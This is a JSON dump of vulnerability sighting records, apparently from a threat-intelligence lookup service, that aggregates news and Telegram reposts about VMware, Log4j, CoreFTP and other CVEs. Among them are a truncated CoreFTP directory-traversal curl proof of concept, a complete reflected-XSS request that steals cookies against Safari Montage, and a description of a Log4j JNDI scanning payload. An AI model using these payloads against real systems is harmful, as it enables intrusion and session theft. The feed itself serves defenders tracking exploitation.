and expose sensitive information.", "vulnerability": "CVE-2026-86258", "author": {"login": "automation"}}, {"uuid": "28e2afa4-98a5-4937-9071-d447362be738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:01:40.545125+00:00", "type": "seen", "source": "https://gist.github.com/ichintu/fe47c9308dfcae2743b09006cdd52579", "content": "This daily cyber threat intelligence digest highlights three key updates: a real-world case where granting an AI agent API key access resulted in a $100 billing loss, underscoring emerging AI security and financial risks; **CVE-2026-86258**, a HIGH-severity path traversal flaw in nbviewer (\u22641.0.1) that allows unauthorized access to files outside its configured root directory; and **CVE-2026-18480**, a HIGH-severity account takeover vulnerability in the SureCart WordPress plugin (<4.6.3) that enables low-privileged users to hijack admin accounts, manipulate data, and expose sensitive information.", "vulnerability": "CVE-2026-18480", "author": {"login": "automation"}}, {"uuid": "75d7fdbb-b8a6-430c-8456-d610910cd1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:54.237224+00:00", "type": "seen", "source": "https://bsky.app/profile/lbtoday1.bsky.social/post/3muuehmopr32a", "content": "Hackers have been exploiting a vulnerability in MikroTik RouterOS to gain unauthorized access and deploy malware, according to a report by cybersecurity firm Radware. The attackers exploit CVE-2018-14847, a known vulnerability in MikroTik RouterOS that affects Winbox, a remote management tool.", "vulnerability": "CVE-2018-14847", "author": {"login": "automation"}}, {"uuid": "46496748-9d54-487c-bd5d-d2ac01210b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.602825+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38115", "content": "Exploit Collector\nCoreFTP Server Build 725 Directory Traversal\n\nhttps://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png \nCoreFTP server build version 725 suffers from a directory traversal vulnerability.\n\nMD5 | 23709190a7e9ca64fcf97880d8565221\n\nDownload\n# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)\n# Date: 08/01/2022\n# Exploit Author: LiamInfosec\n# Vendor Homepage: http://coreftp.com/\n# Version: build 725 and below\n# Tested on: Windows 10\n# CVE : CVE-2022-22836\n\n# Description:\n\nCoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.\n\n# Proof of Concept:\n\ncurl -k -X PUT -H \"Host: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22836", "author": {"login": "automation"}}, {"uuid": "cdd85089-a549-4059-a38e-9caf3f6ca417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.548284+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/37773", "content": "of VMware Cloud Foundation. Patch information can be found in the vendor\u2019s advisory.\n\nUsers should patch as soon as possible, given that VMware is a favorite target for cybercriminals. For instance, just days after a critical CVE-2021-22005 RCE vulnerability in VMware vCenter was disclosed, a full working exploit was public and being used\u00a0in the wild.\n\nESXi users are especially at risk: While the solution makes it easy for multiple VMs to share the same hard-drive storage, it also sets systems up to be one-stop shopping spots for attacks, researchers say, since attackers can target the centralized virtual hard drives used to store data from across VMs.\n\n\u201cESXi servers represent an attractive target for ransomware threat actors because they can attack multiple VMs at once, where each of the VMs could be running business-critical applications or services,\u201d Andrew Brandt, principal researcher at Sophos, recently explained. \u201cAttacks on hypervisors can be both fast and highly disruptive.\u201d\n\nHe was discussing a spate of attacks in October that used a Python code that took less than three hours to complete a ransomware attack on ESXi servers, from initial breach to encryption. That incident joined other ransomware efforts targeting the hypervisor: REvil ransomware threat actors last year came up with a Linux variant\u00a0that targeted VMware ESXi; and in September HelloKitty joined\u00a0the growing list going after the juicy target. DarkSide also targeted\u00a0ESXi servers last year.\nSee Also: Offensive Security Tool: Spray365 Workaround for ESXi v.7 UsersOf course, all of that is bad news for ESXi v.7 users, who don\u2019t yet have a patch for this latest bug. VMware did, however, issue a workaround\u00a0that can be used for now, involving disabling CD-ROM/DVD functionality.\n\nThe steps are:\n\n1. Log in to a\u00a0vCenter Server\u00a0system using the\u00a0vSphere Web Client.\n2. Right-click the virtual machine and click\u00a0Edit Settings.\n3. Select the CD/DVD drive and uncheck \u201cConnected\u201d and \u201cConnect at power on\u201d and remove any attached ISOs.\nSee Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nTo enumerate the VMs that have a CD-ROM/DVD device attached, users can run the following command, according to the vendor:\n\nGet-VM | Get-CDDrive | Where {$_.extensiondata.connectable.connected -eq $true} | Select Parent\n\nThen the following command will remove and disconnect the attached CD-ROM/DVD device:\n\nGet-VM | Get-CDDrive | Where {$_.extensiondata.connectable.connected -eq $true} | Set-CDDrive -NoMedia -confirm:$false\nSource: threatpost.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Apple-iPhone-13-Pro-90x90.png iOS malware can fake iPhone shut downs to snoop on camera, microphone1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/0358ad020c37-article-cache-poisoning-article-90x90.png Researcher discovers 70 web cache poisoning vulnerabilities, nets $40k in bug bounty rewards2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/1200x0-90x90.jpg Apple iOS vulnerable to HomeKit \u2018doorLock\u2019 denial of service bug3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/exchange-90x90.png Microsoft releases emergency fix for Exchange \u2013 2022 bug4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/maxresdefault-90x90.jpg Have I Been Pwned adds 441K accounts stolen by RedLine malware1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/1229111902.0-90x90.jpg T-Mobile says new data breach caused by SIM swap attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/feature-log4j-blue-90x90.png Log4j 2.17.1 out now, fixes new remote code execution bug1 week ag[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-22005", "author": {"login": "automation"}}, {"uuid": "bd949b9a-0d52-49b7-8bdf-4724cfe71595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.496367+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/37922", "content": "Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit\nhttps://www.reddit.com/r/redteamsec/comments/rz7zou/unpacking_cve202140444_a_deep_technical_analysis/\n\n  submitted by    /u/dmchell  (https://www.reddit.com/user/dmchell) \n [link] (https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/)   [comments] (https://www.reddit.com/r/redteamsec/comments/rz7zou/unpacking_cve202140444_a_deep_technical_analysis/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-40444", "author": {"login": "automation"}}, {"uuid": "8330fbcd-4965-4409-b047-44e1a58613e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.432669+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/37650", "content": "KitPloit - PenTest Tools!\nLog4J-Detect - Script To Detect The \"Log4j\" Java Library Vulnerability (CVE-2021-44228) For A List Of URLs With Multithreading\n\nhttp://4.bp.blogspot.com/-8HJ_6FpTFUw/YdaIHTEKYpI/AAAAAAAA6lo/NMnXOCh-ZUEfbXBMB3AjoPwOGWFCVHkWACK4BGAYYCw/w640-h264/log4j-detect_1-788604.png \nSimple Python 3 script to detect the \"Log4j\" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading\nThe script \"log4j-detect.py\" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228.\n\nTo do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the \"User-Agent\" / \"Referer\" / \"X-Forwarded-For\" / \"Authentication\" headers.  Finally, if a host is vulnerable, an identification number will appear in the subdomain prefix of the Burp Collaborator / interactsh payload and in the output of the script, allowing to know which host has responded via DNS.\n\nIt should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution.\n\nDownloading log4j-detect.py\n\nwget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py\n\nRunning log4j-detect.py\n\npython3 log4j-detect.py \nDownload Log4J-Detect\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "3f2b206e-07b0-4d7f-a4ac-40db0b72bbb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.377225+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/37771", "content": "Black Hat Ethical Hacking\nPartially Unpatched VMware Bug Opens Door to Hypervisor Takeover\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Partially Unpatched VMware Bug Opens Door to Hypervisor TakeoverPost Views: 162 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes\nA security vulnerability in VMware\u2019s Cloud Foundation, ESXi, Fusion and Workstation platforms could pave the way for hypervisor takeover in virtual environments \u2013 and a patch is still pending for some users.\nThe issue affects a wide swath of the virtualization specialist\u2019s portfolio and affects Windows, Linux and Mac users. Details about the platforms:\n\n* Cloud Foundation is VMware\u2019s multicloud management platform, providing software-defined services for compute, storage, network, security, Kubernetes and so on.\n* ESXi is a bare-metal hypervisor that installs on a server and partitions it into multiple virtual machines (VMs).\n* Fusion is a software hypervisor that allows Intel-based Macs to run VMs with guest operating systems \u2013 such as Microsoft Windows, Linux, NetWare, Solaris or macOS.\n* Workstation enables users to set up VMs on a single physical machine.\nThe bug (CVE-2021-22045) is a high-severity heap-overflow vulnerability carrying a CVSS rating of 7.7 out of 10. Heap overflows are memory issues that can result in data corruption or unexpected behavior by any process that accesses the affected memory area \u2013 in some cases resulting in remote code execution (RCE).\n\nIn this case, the problem specifically exists in the CD-ROM device emulation function of the affected products.\n\n\u201cA malicious actor with access to a virtual machine with CD-ROM device emulation may be able to exploit this vulnerability in conjunction with other issues, to execute code on the hypervisor from a virtual machine,\u201d the vendor noted in its advisory. \u201cSuccessful exploitation requires a CD image to be attached to the virtual machine.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nReno Robert, senior vulnerability researcher for Trend Micro\u2019s Zero Day Initiative, told Threatpost that the issue results from \u201cthe lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer.\u201d Complex but Dangerous ExploitationRobert added that even though the bug allows an untrusted guest OS user to execute code on the hypervisor, \u201can attacker would not have control over the data written, so exploitation this would be difficult.\u201d\n\nHence the need to be used \u201cin conjunction with other issues.\u201d Reno explained that an example of other issues \u201ccould be an information-disclosure vulnerability that provide details on the memory layout. This would making exploitation more feasible.\u201d\n\nIf successful though, attackers could compromise the host operating system of the hypervisor.\u00a0Taking over a hypervisor, which is the highly privileged software that creates and runs VMs and governs how resources are shared among them (such as memory and processing), can give cybercriminals a clear path to accessing any of the data or applications stored in the VMs it controls, and executing code or installing files on those VMs, depending on the security controls that are implemented.\n\nResearcher \u201cJaanus K\\xc3\\xa4\\xc3\\xa4p\u201d with Clarified Security and Trend Micro\u2019s ZDI were credited with discovering the bug.\nSee Also: Hackers start pushing malware in worldwide Log4Shell attacks Patch VMware CVE-2021-22045 NowAffected product versions are: ESXi 6.5, 6.7 and 7 (version 7 remains unpatched for now); Fusion 12.x; Workstation 16.x; and all versions [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-22045", "author": {"login": "automation"}}, {"uuid": "4ac0214d-f71e-4fe2-9985-39a74a652335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.312863+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/37626", "content": "Simple Python 3 (https://www.kitploit.com/search/label/Python%203) script to detect the \"Log4j\" Java library vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228) for a list of URL with multithreading\nThe script \"log4j-detect.py\" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable (https://www.kitploit.com/search/label/Vulnerable) to CVE-2021-44228.  To do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the \"User-Agent\" / \"Referer\" / \"X-Forwarded-For\" / \"Authentication\" headers.  Finally, if a host is vulnerable, an identification number will appear in the subdomain (https://www.kitploit.com/search/label/Subdomain) prefix of the Burp Collaborator / interactsh (https://www.kitploit.com/search/label/Interactsh) payload and in the output of the script, allowing to know which host has responded via DNS.  It should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution.  Downloading log4j-detect.py  wget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py  Running log4j-detect.py  python3 log4j-detect.py    \n  \nDownload Log4J-Detect (https://github.com/takito1812/log4j-detect)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "8373f964-5420-404a-8382-91aaf91ec022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.247683+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/37627", "content": "Log4J-Detect - Script To Detect The \"Log4j\" Java Library Vulnerability (CVE-2021-44228) For A List Of URLs With Multithreading\n\n Simple Python 3 script to detect the \"Log4j\" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreadingThe script \"log4j-detect.py\" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228. To do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the \"User-Agent\" / \"Referer\" / \"X-Forwarded-For\" / \"Authentication\" headers. Finally, if a host is vulnerable, an identification number will appear in the subdomain prefix of the Burp Collaborator / interactsh payload and in the output of the script, allowing to know which host has responded via DNS. It should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution. Downloading log4j-detect.py wget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py Running log4j-detect.py python3 log4j-detect.py   Download Log4J-Detect\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "71bbccaa-6a55-4555-a981-e7941fdd13ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.190088+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/37560", "content": "Exploit Collector\nSafari Montage 8.5 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png \nSafari Montage version 8.5 suffers from a cross site scripting vulnerability.\n\nMD5 | 4f650c4f8f144a943aa4f0d6ed44f6d7\n\nDownload\n# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)\n# Date: 28/12/2021\n# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)\n# Vendor Homepage: https://www.safarimontage.com/\n# Version: 8.3 and 8.5\n# Tested on: Ubuntu Linux [Firefox]\n# CVE: CVE-2021-45425\n\n# Proof of Concept:\n\nGET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1\nHost: vulnIP\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=SSSION; lang=en\nConnection: close\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-45425", "author": {"login": "automation"}}, {"uuid": "688fd63e-439c-4a41-996c-8b6aa4aaa950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.100385+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/37624", "content": "Log4J-Detect - Script To Detect The \"Log4j\" Java Library Vulnerability (CVE-2021-44228) For A List Of URLs With Multithreading\nhttp://www.kitploit.com/2022/01/log4j-detect-script-to-detect-log4j.html\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "6d36c1e7-e410-4c09-8467-353e4ab3be59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:05.041369+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/36753", "content": "nerability identifier (CVE-2021-44832) and that the exploitation of the bug depends on a non-default log4j setup where configuration is being loaded from a remote server: Looks like log4j CVE-2021-44832 has non default preconditions:  \u201cYou are loading configuration from a remote server and/or someone can hijack/modify your log4j configuration file\nYou are using the JDBC log appender with a dynamic URL address.\u201d\n\n\u2014 Marc Rogers (@marcwrogers) December 28, 2021\nSee Also: Offensive Security Tool: log4j Honeypot Flask Up until now, log4j vulnerabilities have been exploited by all kinds of threat actors from state-backed hackers\u00a0to ransomware\u00a0gangs\u00a0and others to inject Monero miners\u00a0on vulnerable systems.\n\nThe Conti ransomware gang has been seen\u00a0 eying vulnerable VMWare vCenter servers. Whereas\u00a0attackers breaching\u00a0the Vietnamese\u00a0crypto platform, ONUS, via log4shell demanded a $5 million ransom. \n\nLog4j users should immediately upgrade to the latest release 2.17.1\u00a0(for Java 8). Backported versions\u00a02.12.4 (Java 7) and 2.3.2 (Java 6) containing the fix are also expected to be released shortly.\n\nBleepingComputer has reached out to Checkmarx for comment in advance of writing and we are awaiting their response.\nSee Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: www.bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/qnap-logo-white-90x90.jpg QNAP NAS devices hit in surge of ech0raix ransomware attacks1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/shutterstock_495927541-90x90.jpg Wireless coexistence \u2013 New attack technique exploits Bluetooth, WiFi performance features2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/apple-store-tower-90x90.jpg Apple fixes macOS security flaw behind Gatekeeper bypass5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/5157-article-201208-ms-team_body_text-90x90.jpg Microsoft Teams bug allowing phishing unpatched since March6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-6-90x90.jpg 800K WordPress sites still impacted by critical SEO plugin flaw1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-5-90x90.jpg Microsoft warns of easy Windows domain takeover via Active Directory bugs1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-4-90x90.jpg TellYouThePass ransomware revived in Linux, Windows Log4j attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-1-90x90.jpg Log4j attackers switch to injecting Monero miners via RMI2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Hackers-Using-Malicious-IIS-Server-Module-to-Steal-Microsoft-Exchange-560x380-1-90x90.jpg Hackers steal Microsoft Exchange credentials using IIS module2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/how-ransomware-works-1024x535-1-90x90.png New ransomware now being deployed in Log4Shell attacks2 weeks ago\nThe post Log4j 2.17.1 out now, fixes new remote code execution bug first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44832", "author": {"login": "automation"}}, {"uuid": "d2b63b8a-9066-4435-86a4-0c9a55e45225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.976312+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36752", "content": "Black Hat Ethical Hacking\nLog4j 2.17.1 out now, fixes new remote code execution bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Log4j 2.17.1 out now, fixes new remote code execution bugPost Views: 200 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nApache has released another Log4j version, 2.17.1 fixing a newly discovered remote code execution (RCE) vulnerability in 2.17.0, tracked as CVE-2021-44832.\nPrior to today, 2.17.0 was the most recent version of Log4j and deemed the safest release to upgrade to, but that advice has now evolved. Fifth Log4j CVE in under\u00a0a monthMass\u00a0exploitation of the original Log4Shell vulnerability\u00a0(CVE-2021-44228) by threat actors began around December 9th, when a PoC exploit\u00a0for it surfaced on GitHub.\n\nGiven Log4j\u2019s vast usage\u00a0in the majority of Java applications, Log4Shell soon\u00a0turned into a nightmare for enterprises and governments\u00a0worldwide.\n\nWhile the critical risk posed by the original Log4Shell exploit is\u00a0paramount, milder variants of the vulnerability\u00a0emerged in Log4j versions, including 2.15 and 2.16\u2014previously believed to be fully patched.\n\nBleepingComputer earlier reported on four different\u00a0CVEs impacting Log4j\u00a0and one discovered in the \u2018logback\u2019 framework.\u00a0After the discovery of a DoS flaw\u00a0in version 2.16, the advice had swiftly shifted towards upgrading to version 2.17.0, deemed the safest of all.\n\nBut now a fifth vulnerability\u2014an RCE flaw, tracked as CVE-2021-44832 has been discovered in 2.17.0, with a patch applied to the newest\u00a0release 2.17.1\u00a0which is out.\n\nRated \u2018Moderate\u2019 in severity and assigned a 6.6 score on the CVSS scale, the vulnerability stems from the lack of additional controls on JDNI access in log4j.\n\n\u201cJDBC Appender should use JndiManager when accessing JNDI. JNDI access should be controlled via a system property,\u201d states the issue description seen by BleepingComputer.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cRelated to CVE-2021-44832 where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.\u201d\n\nCheckmarx security researcher Yaniv Nizry\u00a0claimed credit for reporting the vulnerability to Apache:\nStay tuned for a blogpost \ud83d\ude09 pic.twitter.com/D56WpVsuF3\n\n\u2014 Yaniv Nizry (@YNizry) December 28, 2021\nNizry\u2019s tweet quickly exploded in traffic, attracting remarks and memes\u00a0from security experts and \u2018victims\u2019 of the ongoing log4j-patching fatigue.\n\n\u201cI hope this is a joke, I\u00a0hope so much\u2026\u00a0#log4j,\u201d tweeted\u00a0one user in response.\n\n\u201cWe are LONG past the point where the only responsible thing to do is put up a giant flashing neon sign that reads \u2018LOG4J CANNOT BE FIXED, DO NOT USE IT FOR ANYTHING.'\u201d taunted\u00a0another.\n\nSecurity expert Kevin Beaumont labeled\u00a0the instance another \u201cfailed Log4j disclosure in motion\u201d\u00a0during the holidays.\nSee Also: Hackers start pushing malware in worldwide Log4Shell attacks Disclosed too soon?At the time of\u00a0Nizry\u2019s tweet,\u00a0BleepingComputer did not see an official advisory or memo\u00a0indicating the presence of\u00a0an RCE bug in log4j 2.17.\n\nThe tweet itself contained no details about the vulnerability or how it could\u00a0be exploited but, within minutes, led\u00a0a pack of security pros and netizens to start investigating the claim.\n\nDisclosing security vulnerabilities prematurely can lure threat actors to conduct malicious scanning and exploitation activities, as evident from the Log4Shell exploit leak of December 9th.\n\n \nMarc Rogers, VP of cybersecurity at Okta first disclosed the vul[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44832", "author": {"login": "automation"}}, {"uuid": "bcd51ff8-891a-4552-86fb-e819bdcc55d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.899515+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/36752", "content": "Black Hat Ethical Hacking\nLog4j 2.17.1 out now, fixes new remote code execution bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Log4j 2.17.1 out now, fixes new remote code execution bugPost Views: 200 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nApache has released another Log4j version, 2.17.1 fixing a newly discovered remote code execution (RCE) vulnerability in 2.17.0, tracked as CVE-2021-44832.\nPrior to today, 2.17.0 was the most recent version of Log4j and deemed the safest release to upgrade to, but that advice has now evolved. Fifth Log4j CVE in under\u00a0a monthMass\u00a0exploitation of the original Log4Shell vulnerability\u00a0(CVE-2021-44228) by threat actors began around December 9th, when a PoC exploit\u00a0for it surfaced on GitHub.\n\nGiven Log4j\u2019s vast usage\u00a0in the majority of Java applications, Log4Shell soon\u00a0turned into a nightmare for enterprises and governments\u00a0worldwide.\n\nWhile the critical risk posed by the original Log4Shell exploit is\u00a0paramount, milder variants of the vulnerability\u00a0emerged in Log4j versions, including 2.15 and 2.16\u2014previously believed to be fully patched.\n\nBleepingComputer earlier reported on four different\u00a0CVEs impacting Log4j\u00a0and one discovered in the \u2018logback\u2019 framework.\u00a0After the discovery of a DoS flaw\u00a0in version 2.16, the advice had swiftly shifted towards upgrading to version 2.17.0, deemed the safest of all.\n\nBut now a fifth vulnerability\u2014an RCE flaw, tracked as CVE-2021-44832 has been discovered in 2.17.0, with a patch applied to the newest\u00a0release 2.17.1\u00a0which is out.\n\nRated \u2018Moderate\u2019 in severity and assigned a 6.6 score on the CVSS scale, the vulnerability stems from the lack of additional controls on JDNI access in log4j.\n\n\u201cJDBC Appender should use JndiManager when accessing JNDI. JNDI access should be controlled via a system property,\u201d states the issue description seen by BleepingComputer.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cRelated to CVE-2021-44832 where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.\u201d\n\nCheckmarx security researcher Yaniv Nizry\u00a0claimed credit for reporting the vulnerability to Apache:\nStay tuned for a blogpost \ud83d\ude09 pic.twitter.com/D56WpVsuF3\n\n\u2014 Yaniv Nizry (@YNizry) December 28, 2021\nNizry\u2019s tweet quickly exploded in traffic, attracting remarks and memes\u00a0from security experts and \u2018victims\u2019 of the ongoing log4j-patching fatigue.\n\n\u201cI hope this is a joke, I\u00a0hope so much\u2026\u00a0#log4j,\u201d tweeted\u00a0one user in response.\n\n\u201cWe are LONG past the point where the only responsible thing to do is put up a giant flashing neon sign that reads \u2018LOG4J CANNOT BE FIXED, DO NOT USE IT FOR ANYTHING.'\u201d taunted\u00a0another.\n\nSecurity expert Kevin Beaumont labeled\u00a0the instance another \u201cfailed Log4j disclosure in motion\u201d\u00a0during the holidays.\nSee Also: Hackers start pushing malware in worldwide Log4Shell attacks Disclosed too soon?At the time of\u00a0Nizry\u2019s tweet,\u00a0BleepingComputer did not see an official advisory or memo\u00a0indicating the presence of\u00a0an RCE bug in log4j 2.17.\n\nThe tweet itself contained no details about the vulnerability or how it could\u00a0be exploited but, within minutes, led\u00a0a pack of security pros and netizens to start investigating the claim.\n\nDisclosing security vulnerabilities prematurely can lure threat actors to conduct malicious scanning and exploitation activities, as evident from the Log4Shell exploit leak of December 9th.\n\n \nMarc Rogers, VP of cybersecurity at Okta first disclosed the vul[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "8b5c51be-338d-4811-9ee1-71161233f59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.841525+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within 